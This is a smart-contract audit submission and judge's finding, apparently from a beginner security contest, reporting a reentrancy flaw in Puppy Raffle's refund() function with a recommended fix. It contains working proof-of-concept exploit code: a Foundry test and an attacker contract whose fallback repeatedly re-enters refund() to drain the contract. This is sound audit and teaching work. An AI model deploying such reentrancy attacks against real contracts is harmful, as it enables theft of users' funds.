Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() allows draining all contract funds

Root + Impact

Description

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
​
@> payable(msg.sender).sendValue(entranceFee); // interaction before effect
players[playerIndex] = address(0); // effect runs too late
}

Risk

Likelihood: High — any participant can trigger it with a single call to refund(), no special conditions required.

Impact: High — complete loss of contract funds: the entrance fees of every other active player plus any accrued protocol fees are drained in one transaction.

Proof of Concept

This Foundry test deploys an attacker contract that re-enters refund()
through its receive() callback. Because players[playerIndex] is only zeroed
after the ETH is sent, each re-entry passes the same checks and the refund
repeats until the contract is drained. The trace below shows refund(4) being
called five times in a single transaction.

// test/PuppyRaffleReentrancy.t.sol
function test_reentrancy_drains_contract() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee * 2);
​
uint256 balanceBefore = address(puppyRaffle).balance;
attacker.attack{value: entranceFee}();
uint256 balanceAfter = address(puppyRaffle).balance;
​
assertLt(balanceAfter, entranceFee); // raffle drained
assertGt(address(attacker).balance, entranceFee); // attacker profited: theft, not just drain
assertLt(balanceAfter, balanceBefore);
}
​
// The attacker re-enters through its receive():
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
Execution trace — refund(4) is called 5 times nested before any state update:
​
[91802] PuppyRaffle::refund(4)
├─ ReentrancyAttacker::receive{value: 1e18}()
│ ├─ PuppyRaffle::refund(4)
│ │ ├─ ReentrancyAttacker::receive{value: 1e18}()
│ │ │ ├─ PuppyRaffle::refund(4)
... (5 calls total)
​
Result: [PASS]. The attacker ends with more ETH than it deposited,
confirming theft of the other participants' fees.

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern: zero out the player slot and
emit the event before sending ETH, so a re-entrant call fails the
address(0) check. A nonReentrant guard can be added as defense in depth, but
reordering is the primary fix.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
​
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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